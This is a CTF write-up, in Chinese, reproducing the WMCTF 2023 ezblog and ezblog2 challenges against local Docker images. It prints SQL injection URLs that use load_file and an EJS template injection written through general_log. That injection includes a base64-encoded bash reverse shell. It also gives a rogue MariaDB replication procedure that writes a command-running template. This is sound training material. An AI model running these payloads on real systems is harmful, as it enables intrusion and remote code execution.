2023 WMCTF 部分题目复现

ezblog

环境搭建

1
docker run -it -d -p 9292:3000 -e 'FLAG=flag{G0t_1t}' lxxxin/wmctf2023_ezblog

代码分析

app.js 中的 /api/debugger/auth 这个路由使用 node 仿造 flask 的 werkzeug 实现了一个 PIN 功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
let pin = (0, uuid_1.v4)();
app.post("/api/debugger/auth", (req, res) => {
let username = req.body.username;
let password = req.body.password;
if (username === "debugger" && password === pin) {
res.json({
code: 200,
message: "OK",
data: token
});
}
else {
res.json({
code: 401,
message: "Error: incorrect pin",
data: null
});
}
});

/post/:id/edit路由中,通过 test 方法测试正则,但是这里的正则是判断是否有一个或多个数字的正则。而不是判断只有数字。而且对 id 判断是否有 into、outfile、dumpfile 这些字段出现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
app.get("/post/:id/edit", async (req, res) => {
try {
// parseInt的性能问题 https://dev.to/darkmavis1980/you-should-stop-using-parseint-nbf
let id = req.params.id;
if (!/\d+/igm.test(id) || /into|outfile|dumpfile/igm.test(id)) { // 判断 id是否是纯数字
res.status(400).send(`Error: '${id}' is invalid id`);
return;
}
// id只能为数字,可以安全的转为number,避免parseInt降低性能
let post = await (0, posts_1.getPostById)(id);
res.render("edit", {
post
});
}
catch (e) {
res.status(500).send(e);
}
});

然后调用 getPostById 方法,拼接 id。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function getPostById(id) {
return new Promise((resolve, reject) => {
// 使用 number 类型的 id 不会导致 sql 注入,因为数字类型只有0-9的数字,无法构造sql语句
// TypeScript可以确保传入类型只能为number,不能为字符串,如果为字符串,将会发生编译时错误导致tsc无法编译,所以是安全的
db_1.connection.query(`select * from Posts where id = ` + id, (err, results) => {
if (err) {
reject(err);
}
else {
if (results.length === 0) {
reject(new Error("Post not found"));
}
else {
resolve({
id: results[0].id,
title: results[0].title,
content: results[0].content
});
}
}
});
});
}

访问/post/1'/edit发现报错注入。

然后就是这个 pin 在访问时会被输出出来,当正常运行时发现有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function start() {
// 修复图床功能上传图片失败的问题
try {
child_process_1.default.execSync("mkdir -p ./public/images");
child_process_1.default.execSync("chmod -R 777 .");
}
catch (e) { }
(0, db_1.init)();
app.listen(3000, () => {
console.log(" * Serving Express app 'ezblog'");
console.log(" * Debug mode: on");
console.log(" * Running on http://0.0.0.0:3000/ (Press CTRL+C to quit)");
console.log();
console.log(" * Debugger is active!");
console.log(" * Debugger PIN: " + pin);
});
}
exports.start = start;

读取 PIN

运行起来之后发现是使用 pm2 维持运行的。pm2 之前嫖 PaaS 平台时候用过,是一个用来维持进程守护运行的 node 程序。

我们可以查看下这个 main-out.log 发现 PIN 被记录到 pin 中了。

这里没有过滤load_file这里就可以通过 sql 语句来实现文件的读取。

1
http://localhost:13000/post/-1%20union%20select%201,2,load_file(0x2f686f6d652f657a626c6f672f2e706d322f6c6f67732f6d61696e2d6f75742e6c6f67)/edit

在请求中就能看到回显,虽然返回的是 html,内容在 js 中。

523b8611-2a43-412d-8625-0621f072d9b4

然后访问console路由,python 终端不能执行,但是可以执行 sql、渲染模板。

这里的写文件的方式是通过 general_log。但是这里并没有 mysql 数据库,需要我们自己创建,而且在处理 ejs 模板的时候不能新建 ejs 模板而是覆盖原有的 ejs 模板,否则会出现权限问题。

general_log 写入文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 创建mysql数据库
create DATABASE mysql;
# 创建general_log表 这部分内容可以让DataGrip这些通过正常的mysql表生成。
CREATE TABLE mysql.general_log(
event_time timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
user_host mediumtext NOT NULL,
thread_id int(11) NOT NULL,
server_id int(10) unsigned NOT NULL,
command_type varchar(64) NOT NULL,
argument mediumtext NOT NULL
) ENGINE=CSV DEFAULT CHARSET=utf8 COMMENT='General log';
# 用一行版
# CREATE TABLE mysql.general_log(event_time timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,user_host mediumtext NOT NULL,thread_id int(11) NOT NULL,server_id int(10) unsigned NOT NULL,command_type varchar(64) NOT NULL,argument mediumtext NOT NULL) ENGINE=CSV DEFAULT CHARSET=utf8 COMMENT='General log';
# 设置日志输出位置
SET GLOBAL general_log_file='/home/ezblog/views/post.ejs';
# 设置日志输出
SET GLOBAL general_log='on';
# 写入内容
SELECT "<% global.process.mainModule.require('child_process').exec('echo YmFzaCAtaSA+JiAvZGV2L3RjcC94eHh4Lzc3NzcgMD4mMQ==}|base64 -d|bash'); %>";

注意那个表生成是正常的 mysql.general_log 表生成的。

然后访问默认模板即可:http://localhost:13000/post/1

ezblog2

环境搭建

1
docker run -it -d -p 23000:3000 -e 'FLAG=flag{G0t_1t_4ga1n}' lxxxin/wmctf2023_ezblog2

分析

1
2
3
4
5
6
7
8
9
10
diff --color -r env/docker/docker-compose.yml env2/docker/docker-compose.yml 
5c5
< image: wmctf2023_ezblog
---
> image: wmctf2023_ezblog2
diff --color -r env/src/src/app.ts env2/src/src/app.ts
248a249,251
> try{
> child_process.execSync("chmod -R 444 /home/ezblog/views/*")
> } catch (e) { }

前半部分拿 pin 的方式相同。但是这次没法再用日志文件写入内容。

但是根据上面的 diff 会发现,/home/ezblog/views下仍然可以写入。

因此没法使用提供的 SQL console 执行命令。

主从复制

之前遇到过一次,但是时间太久了忘了,重新学习下。

首先先启动一个版本相同的 MariaDB。

1
docker run -it -d --name mariadb_main --env MARIADB_USER=ctf --env MARIADB_PASSWORD=ctf --env MARIADB_ROOT_PASSWORD=1qaz2wsx -p 53306:3306 mariadb:10.9.8

我建议使用 docker-compose 文件生成:

1
2
3
4
5
6
7
8
9
10
11
version: '3'
services:
mariadb:
image: mariadb:10.9.8
container_name: mariadb_main
environment:
MARIADB_USER: ctf
MARIADB_PASSWORD: ctf
MARIADB_ROOT_PASSWORD: 1qaz2wsx
ports:
- 53306:3306

然后换源方便修改配置:

1
2
3
4
docker exec -it [containerID] /bin/bash
sed -i 's@//.*archive.ubuntu.com@//mirrors.ustc.edu.cn@g' /etc/apt/sources.list
apt update
apt install -y vim

然后修改/etc/mysql/mariadb.conf.d/50-server.cnf文件,在 mysqld 类别下添加以下内容开启 binlog。

1
2
3
4
server_id = 100
secure_file_priv =
log-bin = mysql-bin
binlog_format = MIXED

然后退出重启容器。

1
docker restart [containerID]

然后重新进入容器操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 进入容器
docker exec -it [containerID] /bin/bash
# 进入mysql终端
mysql -uroot -p1qaz2wsx
# 关闭主服务器的CRC32校验
set global binlog_checksum=0;
# 删除所有二进制日志
reset master;
# 创建数据库
create database evil;
# 创建表
create table evil.temp(
id INT,
name VARCHAR(100),
age INT
);
use evil;
# 插入值 这个插入长度和select写入文件的内容长度相同。
INSERT INTO temp(id, name, age) VALUES(1,"1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111",1);

这里创建表并且插入字段的原因就是因为 binlog 只会记录 INSERT、UPDATE、DELETE 等操作,不会记录 SELECT 和 SHOW 等不影响数据的语句。这里的插入文本长度要与 SELECT 长度一样。

1
2
INSERT INTO temp(id, name, age) VALUES(1,"1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111",1);
SELECT "<%= global.process.mainModule.require('child_process').execSync('/readflag').toString(); %>" into outfile "/home/ezblog/views/evil.ejs";

退出后到/var/lib/mysql下生成的mysql-bin.000001

然后将文件提取出来,下载下来。

1
docker cp [container-id]:/var/lib/mysql/mysql-bin.000001 .

将以上内容替换成写文件语句。

然后将修改后的文件复制回原来的位置:

1
docker cp mysql-bin.000001 some-mariadb:/var/lib/mysql/mysql-bin.000001

验证一下。

然后在目标 SQL console 中执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 创建mysql数据库
CREATE DATABASE mysql;
# 创建主从复制需要的表
CREATE TABLE mysql.gtid_slave_pos (
`domain_id` int(10) unsigned NOT NULL,
`sub_id` bigint(20) unsigned NOT NULL,
`server_id` int(10) unsigned NOT NULL,
`seq_no` bigint(20) unsigned NOT NULL,
PRIMARY KEY (`domain_id`,`sub_id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Replication slave GTID position';
# 设置主数据库的信息
CHANGE MASTER TO
MASTER_HOST='x.x.x.x',
MASTER_PORT=53306,
MASTER_USER='root',
MASTER_PASSWORD='1qaz2wsx',
MASTER_LOG_FILE='mysql-bin.000001',
MASTER_LOG_POS=0;
# 启动主从复制
START SLAVE;

启动之后就会同步mysql-bin.000001修改后的 SQL 语句,再验证下是否写入。

Ref

[CTF复现计划]2023WMCTF ezblog[2]

WMCTF 2023_OFFICAL_WRITE-UP_CN